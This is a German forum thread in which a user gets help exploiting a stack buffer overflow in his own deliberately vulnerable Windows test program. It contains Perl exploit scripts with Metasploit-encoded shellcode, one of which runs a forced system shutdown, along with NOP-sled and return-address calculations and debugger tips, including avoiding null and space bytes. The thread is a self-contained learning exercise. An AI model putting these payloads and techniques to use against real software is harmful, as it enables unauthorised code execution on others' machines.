[Windows] BufferOverflow Problem

Hallo, Ich beschäftige mich nun seit einer Weile mit BufferOverflows unter Windows.
Hatte bissher auch keine Probleme solange der Buffer z.B aus einer Datei eingelesen wird.
Nun allerdings versuche ich die Datei aus der eingelesen wird wegzulassen. Hat auch beim aufruf einer TestFunktion alles geklappt. Also ne Funktion die vom Programm selber nciht aufgerufen wird.

Nun möchte ich allerdings Shellcode ausführen was sich als Problem erweist Warum weis ich auch nicht! Mir ist kein Feher aufgefallen hier mal meine 2 codes

vuln.exe
Code:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
 
int bof(void) {
 printf("HAcked");

}
 
int main(int argc, char *argv[]) {
 
 
  
   char buffer[256];
 
  strcpy(buffer, argv[1]);
 

  return 0;
}

exploit.pl
Code:
#!/usr/bin/perl

# win32_exec -  EXITFUNC=seh CMD=shutdown -s -f -t 1000 -c HACKED Size=188 Encoder=PexFnstenvSub http://metasploit.com
my $shellcode = "\x29\xc9\x83\xe9\xd7\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x0f".
		"\x15\x0e\xae\x83\xeb\xfc\xe2\xf4\xf3\xfd\x4a\xae\x0f\x15\x85\xeb".
		"\x33\x9e\x72\xab\x77\x14\xe1\x25\x40\x0d\x85\xf1\x2f\x14\xe5\xe7".
		"\x84\x21\x85\xaf\xe1\x24\xce\x37\xa3\x91\xce\xda\x08\xd4\xc4\xa3".
		"\x0e\xd7\xe5\x5a\x34\x41\x2a\xaa\x7a\xf0\x85\xf1\x2b\x14\xe5\xc8".
		"\x84\x19\x45\x25\x50\x09\x0f\x45\x84\x09\x85\xaf\xe4\x9c\x52\x8a".
		"\x0b\xd6\x3f\x6e\x6b\x9e\x4e\x9e\x8a\xd5\x76\xa2\x84\x55\x02\x25".
		"\x7f\x09\xa3\x25\x67\x1d\xe5\xa7\x84\x95\xbe\xae\x0f\x15\x85\xc6".
		"\x33\x4a\x3f\x58\x6f\x43\x87\x56\x8c\xd5\x75\xfe\x67\xe5\x84\xaa".
		"\x50\x7d\x96\x50\x85\x1b\x59\x51\xe8\x66\x66\xdb\x7b\x71\x61\xd9".
		"\x61\x35\x23\xdd\x2f\x38\x68\x8e\x22\x61\x2e\x9f\x3f\x25\x3e\x8e".
		"\x22\x76\x2e\xe6\x4e\x56\x45\xeb\x4b\x15\x0e\xae";


$target = "vuln.exe ";

my $nops ="\x90"x80;
my $addr ="\x20\x12\x40\x00";


#272B

$com =$target.$nops.$shellcode.$addr;
exec($com);

alles zusammen ergibt eine Bufferlänge von 272 Bytes die verwändung von andressen müsste auch richtig sein

Die adresse habe ich ermittelt durch das starten von OllyDBG mit einem Argument von 272B und hab dann mit Hilfe von Mathe ausgerechnet, ab wo ich die Adresse brauche.


Meine Frage jetzt ist mach ich nen Denkfehler bei irgentwas oder ist was anderes das Problem

wäre nett wenn man mir helfen könnte ich bin hier wirklcih überfragt
Danke im Vorraus mfg Loader007
 
Die adresse habe ich ermittelt durch das starten von OllyDBG mit einem Argument von 272B und hab dann mit Hilfe von Mathe ausgerechnet, ab wo ich die Adresse brauche.
Was befindet sich an Adresse 401220, an die returnt wird? Welchen Compiler nutzt Du (sonst ist es kaum nachvollziehbar - ich bekomme werder mit gcc 3.3.2 noch lcc irgendwas sinnvolles an dieser Adresse;) ) ? Gibts irgendwelche Fehlermeldungen?
 
Hi

Könntest du vielleicht die Executable irgendwo uploaden? Ich glaube es wäre für uns dann einfacher deine Schritte nachzuvollziehen.

Mfg Inliferty
 
Auf der addr sollte sich eigentlcih so die Mitte des Nopslads befinden
Ich richte mich da an zahlreiche Tutorials die ich gelesen habe so wie das beschriebn wurde soll man nicht die direckte Adresse angeben

Executetables also cih hab ma alles geuppt was ich gefundne habe was interessant sein könnte ExeDatei Projekt .udd dtaie die olly erstellt hat hier

wenn noch was brauchst sags !

Sorry hatte ich voll vergessen, dass es bei euch nach dem compelieren net genau so sein muss .

Ich eine auch gelesen zu haben das der Name ne Rolle spielt und ich fand Project12.exe doch etwas dumm sorry Leute

Ach Fehlermeldung Nein leider nicht. Genau das ist es ja, sonst könnte ich ja sehn was falsch ist.

ABer warscheinlcih hab ich nen Fehler irgetwo gemacht den mach ich dann aber immer wieder wär ja nett wenn mir ma jemad an dem Ding zeigt wo der Fehler ist


----------------------------------------


hab jetzt noch ma geschaut also der code hier funktionirt
Code:
#!/usr/bin/perl

my $shellcode =
"\x2b\xc9\x83\xe9\xdc\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x4b".
"\xf0\xc2\x16\x83\xeb\xfc\xe2\xf4\xb7\x18\x86\x16\x4b\xf0\x49\x53".
"\x77\x7b\xbe\x13\x33\xf1\x2d\x9d\x04\xe8\x49\x49\x6b\xf1\x29\x5f".
"\xc0\xc4\x49\x17\xa5\xc1\x02\x8f\xe7\x74\x02\x62\x4c\x31\x08\x1b".
"\x4a\x32\x29\xe2\x70\xa4\xe6\x12\x3e\x15\x49\x49\x6f\xf1\x29\x70".
"\xc0\xfc\x89\x9d\x14\xec\xc3\xfd\xc0\xec\x49\x17\xa0\x79\x9e\x32".
"\x4f\x33\xf3\xd6\x2f\x7b\x82\x26\xce\x30\xba\x1a\xc0\xb0\xce\x9d".
"\x3b\xec\x6f\x9d\x23\xf8\x29\x1f\xc0\x70\x72\x16\x4b\xf0\x49\x7e".
"\x77\xaf\xf3\xe0\x2b\xa6\x4b\xee\xc8\x30\xb9\x46\x23\x00\x48\x12".
"\x14\x98\x5a\xe8\xc1\xfe\x95\xe9\xac\x80\xab\x78\x2c\xd0\xf3\x24".
"\x7c\xde\xf2\x38\x7b\xde\xf3\x16";

$target = "Project12.exe ";

my $nops ="\x90"x268;
my $addr ="\x96\x12\x40";



$com =$target.$nops.$addr;
exec($com);

hier wird die Testfunktion aufgerufen und auch ausgegeben

ich würde fast tippen das ich die Adresse für den Shellcode falsch gesucht habe

Ich weiß ja nciht aber sind die adresen denn gleich weil ich mir den Bereich ja mit anderen Argumenten also 272 As besorget habe da ich keinen plan habe wie ich meinen code in Olly bekomme also die Argumente die Das exploit gennerirt
 
1.Deinen Beitrag kann man kaum verstehen - Kommasetzung gibts nicht umsonst ;)
2.
Auf der addr sollte sich eigentlcih so die Mitte des Nopslads befinden
Nope, an 401220 befindet sich der EntryPoint (Codeanfangsadresse) Deiner Executable. D.h Du springst nicht zu den Noploads, sondern zum Anfang der Anwendung -was insgesamt eine schöne Endlosschleife ergibt.
Hier landest Du
Code:
00401220 > $  55            PUSH EBP
00401221   .  89E5          MOV EBP,ESP
00401223   .  83EC 08       SUB ESP,8
00401226   .  C70424 010000>MOV DWORD PTR SS:[ESP],1
0040122D   .  FF15 D0504000 CALL DWORD PTR DS:[<&msvcrt.__set_app_ty>;  msvcrt.__set_app_type
00401233   .  E8 C8FEFFFF   CALL Project1.00401100
Du hast eindeutig einen Denkfehler drin - einerseits ist Dir klar, dass Du die Rücksprungadresse mit strcpy überschreibst (und diese liegt auf dem Stack), anderseits erwartest Du, dass der übrige Shellcode in der Exe selbst landet ?
Bei mir sind es diese Adressen:
Code:
0022FF48   30393837  <--- (und weiter nach oben: Shellcode)
0022FF4C   34333231  <---
0022FF50   38373635  <---
0022FF54   32313039
0022FF58   36353433
0022FF5C   30393837
0022FF60   34333231
0022FF64   38373635
0022FF68   32313039
0022FF6C   36353433
0022FF70   30393837
0022FF74   34333231
0022FF78   38373635
0022FF7C   20124000 <---- Rücksprungsadresse
(da ich auf diesem Rechner kein Perl habe, habe ich einfach nur 1234567890 kopiert und als Argument übergeben)
D.h der Shellcode liegt auch auf dem Stack und da müsste man hinspringen.

Ich richte mich da an zahlreiche Tutorials die ich gelesen habe so wie das beschriebn wurde soll man nicht die direckte Adresse angeben
korrekt, da Stackanfangsadresse vom OS zugewiesen wird und dadurch systemabhängig - gemeint ist hier aber, dass man nicht direkt auf 22ff00 springen soll, nur weil auf dem eigenen Rechner der Shellcode da landet.
Stattdessen fügt man am Anfang soviele NOPs wie möglich ein und springt in deren "Mitte" - also z.B 22FF40, um dadurch gewisse Systemunterschiede abzufangen. NOPs sind 1 Byte Anweisungen, die einfach abgearbeitet werden können, bis der richtige Code anfängt. D.h es tritt auch kein Fehler auf, wenn auf dem konkreten Rechner die Anwendung etwas andere Stackadressen hat. Dadurch kann der Buffer,der überschrieben wird, auf einem Rechner bei 22FEA0 anfangen und auf dem anderen erst ab 22FF40 - dank dem NOP-Puffer funktioniert der Shellcode trotzdem.
 
Mhh Merkwürdig!
Code:
0022FE70   41414141
0022FE74   41414141
0022FE78   41414141
0022FE7C   41414141
0022FE80   41414141
0022FE84   41414141
0022FE88   41414141
0022FE8C   41414141
0022FE90   41414141
0022FE94   41414141
0022FE98   41414141
0022FE9C   41414141
0022FEA0   41414141
0022FEA4   41414141
0022FEA8   41414141
0022FEAC   41414141
0022FEB0   41414141
0022FEB4   41414141
0022FEB8   41414141
0022FEBC   41414141
0022FEC0   41414141
0022FEC4   41414141
0022FEC8   41414141
0022FECC   41414141
0022FED0   41414141
0022FED4   41414141
0022FED8   41414141
0022FEDC   41414141
0022FEE0   41414141
0022FEE4   41414141
0022FEE8   41414141
0022FEEC   41414141
0022FEF0   41414141
0022FEF4   41414141
0022FEF8   41414141
0022FEFC   41414141
0022FF00   41414141
0022FF04   41414141
0022FF08   41414141
0022FF0C   41414141
0022FF10   41414141
0022FF14   41414141
0022FF18   41414141
0022FF1C   41414141
0022FF20   41414141
0022FF24   41414141
0022FF28   41414141
0022FF2C   41414141
0022FF30   41414141
0022FF34   41414141
0022FF38   41414141
0022FF3C   41414141
0022FF40   41414141
0022FF44   41414141
0022FF48   41414141
0022FF4C   41414141
0022FF50   41414141
0022FF54   41414141
0022FF58   41414141
0022FF5C   41414141
0022FF60   41414141
0022FF64   41414141
0022FF68   41414141
0022FF6C   41414141
0022FF70   41414141
0022FF74   41414141
0022FF78   41414141
0022FF7C   41414141
0022FF80   00000000
0022FF84   003D3DB8
0022FF88   003D2B38
0022FF8C   00404000  Project1.00404000
Das sollte der stack bei mir sein aber da habich auch die eine komische adresse da raus ?(

und ich müsste doch dann nur als return adresse z.B 0022FEA8 angeben zumindest denke ich das.

Aber wennich hier aus der mitte ne Adresse nehemn und dann ausführung mit gleichvielen Bytes nur eben nops+shellcode+adresse z.B hatte ich die versucht geht das nicht!

müsste aber doch ?

Ps: Sorry wegen den wenigen Kommas! Ich mach demnägst mehr rein.
 
OT:
Ps: Sorry wegen den wenigen Kommas! Ich mach demnägst mehr rein.
Also Kommas speziell müssen es nicht sein - nur sind z.B solche Sätze
ABer warscheinlcih hab ich nen Fehler irgetwo gemacht den mach ich dann aber immer wieder wär ja nett wenn mir ma jemad an dem Ding zeigt wo der Fehler ist
erst nach 3-4 mal lesen wirklich verständlich.
[/OT]



Das sollte der stack bei mir sein aber da habich auch die eine komische adresse da raus
welche meinst Du? 401220 ?
Aber wennich hier aus der mitte ne Adresse nehemn und dann ausführung mit gleichvielen Bytes nur eben nops+shellcode+adresse z.B hatte ich die versucht geht das nicht!
Ich meine nicht die Mitte des Codes ;)
wenn der Code am Anfang 80 Nops hat und sagen wir mal an 22FE70 anfängt, dann wären 80/2=40=0x28 die "Hälfte" der NOPs und die Adresse würde sich aus 0x22FE70+0x28=22FE98 ergeben.

Versuche mal folgendes: benutze erstmal nur die ermittelte Stackdresse als Rücksprungsadresse (optimieren kann man später, wenn man sich sicher ist, dass der Shellcode funktioniert).
ersetze allerdings die ersten 7 Bytes des Shellcodes durch:
Code:
B8 90 12 40 00 FF D0
ist gleich:
Code:
   B8 90124000     MOV EAX,401290
    FFD0            CALL EAX
das macht nichts anderes als die "printf Hacked" Funktion aufzurufen:
Code:
00401290  /.  55            PUSH EBP
00401291  |.  89E5          MOV EBP,ESP
00401293  |.  83EC 08       SUB ESP,8
00401296  |.  C70424 003040>MOV DWORD PTR SS:[ESP],Project1.00403000 ; |ASCII "HAcked"
0040129D  |.  E8 9E050000   CALL <JMP.&msvcrt.printf>                ; \printf
004012A2  |.  C9            LEAVE
004012A3  \.  C3            RETN
Falls Du die Exe geändert hast (irgendwas eingefügt usw.) solltest Du noch vorher im Olly schauen, ob die Hacked-Funktion nun nicht woanders liegt.

Der Sinn: damit kann man prüfen, ob der Shellcode an sich überhaupt ausgeführt wird (denn einfach auf eine Adresse zu returnen oder noch Code auf dem Stack auszuführen sind 2 verschiedene Paar Schuhe).
Warum? Weil z.B der metasploit code auf deinem Rechner möglicherweise gar nicht funktioniert (warum auch immer) oder Du den DEP (Data Execution Prevention, http://en.wikipedia.org/wiki/Data_Execution_Prevention ) aktiviert hast.
Damit schließt Du zumindest diese Fehlerquelle aus.

Zum Olly&Debug:
mach nach strcpy einfach eine Endlosschleife rein (while (true) oder ähnlich). Dann rufst Du Dein PL Script auf - die Argumente werden übergeben und die Exe bleibt in der Schleife "hängen". Nun kann man sie in Olly attachen und die Endlosschleife wegnoppen - ab da kann man in Olly direkt verfolgen, was schiefläuft.
 
Zur klamotte mit dem Shellcode genau wie beschrieben errechne ich den doch

Code:
0022FE64                                      41 41 41 41              AAAA
0022FE74  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0022FE84  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0022FE94  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0022FEA4  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0022FEB4  41 41 41 41 41 41 41 41 41 41 41 41 42 42 42 42  AAAAAAAAAAAABBBB
0022FEC4  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0022FED4  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0022FEE4  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0022FEF4  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0022FF04  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0022FF14  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0022FF24  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0022FF34  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0022FF44  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0022FF54  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0022FF64  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0022FF74  42 42 42 42 42 42 42 42 43 43 43 43 00 00 00 00  BBBBBBBBCCCC....

Die As sind die Nops Bs Der shellcode Cs die Adresse

Nun nehme ich dann die Mitte der As hier 22FE8C <-- Das wäre dann der Rücksprung wert


Der Shellcode muss eigentlich laufen weil ich ihn in einem anderen Exploit auch benutze
das ist ja was mich verwundert der einzige Unterschied ist eben zwischen den 2 Progs, dass in dem es Funktioniert der Text nicht als Argument übergeben werden sondern aus einer datei gelesen wird .

Das ändern des Shellcodes hat mir leider nix gebracht auch Hacked wird dann nicht aufgrerufen!

Und das mit der while(1) Schleife nach strcpy Funktionort auch nicht weil sich das Programm nach strcpy einfach beendet

Zu Dep ich gehe ma davon aus, wenn ich den Code über ne Datei einschläusen kann muss das ja auch so gehen können.



Ich würde allerdings auch Tippen das es was mit dem Shellcode zu tun hat warums nciht geht!

weil ja been nicht ma ne Fehlermeldung kommt die normal so oder so Kommen müsste
wegen dem Überlauf.

Also komtm es denk ich ma nciht zum überlauf nur was kann man da machen muss der doe ein anderes Format haben oder sowas?
 
Also komtm es denk ich ma nciht zum überlauf nur was kann man da machen muss der doe ein anderes Format haben oder sowas?
am besten Debuggen - as is (also wie es vom Programm aufgerufen wird)
-->
Und das mit der while(1) Schleife nach strcpy Funktionort auch nicht weil sich das Programm nach strcpy einfach beendet
dann eben vor strcpy probieren?
 
vorher probieren natürlich habe ich das nur dann hängt sich mein pc innerhalb von 60 sec oder so fast auf weil der das ja immer wieder wiederhohlt
 
Du kannst auch im Code vor strcpy über inline ASM einen INT3 einfügen (oder Opcode 0CCh). Irgendwas mit
Code:
_asm{INT3} bzw _asm{db 0xCC}
(Syntax kommt auf den Compiler an)

oder auch über OllyDbg vor strcpy einen CC einfügen (Zeile markieren, STRG+E für Editmodus, vor dem Überschreiben aber den Byte merken und nacher wieder reinschreiben), Rechtsklick ->Copy to executable->all modification -> es öffnet sich ein Fenster -> Rechtsklick->save file.

Anschließend:
Gehst Du noch zu Olly Optionen ->Just in time Debugging-> "make olly JIT" und "attach without confirmation".

Das bewirkt nun, dass Du mit INT3 einen Breakpoint platzierst - wenn das Programm an INT3 angelangt ist, wird der Standarddebugger aufgerufen (bzw. es erscheint der Windows Dialog, ob man Problembericht senden möchte - in der linken Ecke ist aber der Debugbutton versteckt).
Nun kann man in Olly den Int3 ausnoppen/korrigieren und normal debuggen.

Weitere Alternative: vor strcpy eine Benutzereingabe einlesen (getchar, getc, scanf usw) - da pausiert das Programm ja auch, so dass man es attachen kann.
 
ich weiß jetzt wiso es nicht geht!
Ich mache zwar nichts falsch aber der shellcode sieht im Speicher anders aus.

Der Shelcode enthällt im Speicher lauter 00 stellen 9e 72 ab wird zu 00 00 00 ,
auch andere Anweisungen werden zu 0 teilwiese auch wird aus 14 => 40.

Hat jemand ne Erklärung wie sowas vorkommen kann bzw wie ich das löse?
 
Es KANN sein, dass du ein ähnliches Problem wie hier beschrieben hast:
http://www.hackerboard.de/thread.php?threadid=39648
Wobei das das "Fixen des Stacks" notwendig ist, falls du einen Metasplit Fstenv Encoder benutzt, der, wenn ESP direkt auf den Shellcode zeigt, sich selbst überschreibt.

Ansonsten ist es nichts ungewöhnliches, wenn nach der Selbstenschlüsselung des Stellcodes Nullen etc.. im Speicher auftauchen. Nur beim Einlesen via strcpy() dürfen keine Nullzeichen vorhanden sein.

Beherzige bitte die Tips von CDW, wie z.B int3 vor strcpy einsetzen, und was auch noch interessant ist um den Ablauf des Shellcodes zu verfolgen:

dem shellcode ein INT3 (kodiert als 0xCC) vorangehen zu lassen, dann siehst du auch gleich, ob der Shellcode überhaupt zur Ausführung gelangt, wenn dann Olly erscheint ;)

z.B.:

my $shellcode = "\xCC\x2b\xc9\x83\xe9\xdc\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x4b". "\xf0\xc2\x16\x83\xeb\xfc\xe2\xf4\xb7\x18\x86\x16\x4b\xf0\x49\x53". "\x77\x7b\xbe\x13\x33\x2d\x9d\x04\xe8\x49\x49\x6b\xf1........................."

mfg
 
Ja ,sicher will ich die Tips beherzigen allerdings ist mein Problem, dass ich in Olly garnichts zu sehn bekomme!

Wenn ich den Prozess attache lässt er sich nicht Ausführen und Olly springt von aleine garnet an, weil die Stringgröße sich durch die Nullen ja reichlich dezimirt.

Ich seh das ja in der Ausgabe beider Programme bei dem vuln Programm fehlt die hälfte was ich nur damit erklären kann das es mit argv zusammen hängt


Komisch ist ja das der Code in nem anderen Prgramm funktionirt also muss es am kopieren bzw übergeben liegen denke ich ..

Allerdings habe ich eben keinen Plan wo das Problem genau liegt

aber ich bleib drann !

========================================
von dem Shellcode
Code:
        "\x31\xc9\x83\xe9\xd7\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xe3"
"\xa3\x38\x2d\x83\xee\xfc\xe2\xf4\x1f\x4b\x7c\x2d\xe3\xa3\xb3\x68"
"\xdf\x28\x44\x28\x9b\xa2\xd7\xa6\xac\xbb\xb3\x72\xc3\xa2\xd3\x64"
"\x68\x97\xb3\x2c\x0d\x92\xf8\xb4\x4f\x27\xf8\x59\xe4\x62\xf2\x20"
"\xe2\x61\xd3\xd9\xd8\xf7\x1c\x29\x96\x46\xb3\x72\xc7\xa2\xd3\x4b"
"\x68\xaf\x73\xa6\xbc\xbf\x39\xc6\x68\xbf\xb3\x2c\x08\x2a\x64\x09"
"\xe7\x60\x09\xed\x87\x28\x78\x1d\x66\x63\x40\x21\x68\xe3\x34\xa6"
"\x93\xbf\x95\xa6\x8b\xab\xd3\x24\x68\x23\x88\x2d\xe3\xa3\xb3\x45"
"\xdf\xfc\x09\xdb\x83\xf5\xb1\xd5\x60\x63\x43\x7d\x8b\x53\xb2\x29"
"\xbc\xcb\xa0\xd3\x69\xad\x6f\xd2\x04\xd0\x50\x58\x97\xc7\x57\x5a"
"\x8d\x83\x15\x5e\xc3\x8e\x5e\x0d\xce\xd7\x18\x1c\xd3\x93\x08\x0d"
"\xce\xc0\x18\x65\xa2\xe0\x73\x68\xa7\xa3\x38\x2d";

kommt das in dem anderen Programm an
Code:
\x31\xc9\x83\xe9\xd7\xe8\xff\xff\xff
\xff\xc0\x5e\x81\x76\x0e\xe3\xa3\x38\x2d\x83
\xee\xfc\xe2\xf4\x1f\x4b\x7c\x2d\xe3\xa3
\xb3\x68\xdf\x28\x44\x28\x9b\xa2\xd7\xa6
\xac\xbb\xb3\x72\xc3\xa2\xd3\x64\x68\x97
\xb3\x2c\x0d\x92\xf8\xb4\x4f\x27\xf8\x59\xe4
\x62\xf2

also es wundert mich nciht wiso nix funktionirt allerdings muss es ja nen Trick gebn das zu unterbinden

wenn noch ma jemand nen Tip hat wär das sehr nett
 
hi

Du übergibst deinen shellcode als argv[1]

Dein Shellcode wird aber genau bei 0x20 abgeschnitten, weil das einem Leerzeichen entspricht.

Den Rest deines abgeschnittenen Shellcodes findest du daher in argv[2]!

Du musst die einen Shellcode generieren, der nicht nur 0 - frei sonder auch 0x20 frei ist.

mfg
 
lol

Das ist der Walt, denn ich vor lauter Bäumen nicht gesehn habe!

Du hast recht ich werds ma testem und ich gehe davon aus das das klappt weils plausibel ist !
 
Zurück
Oben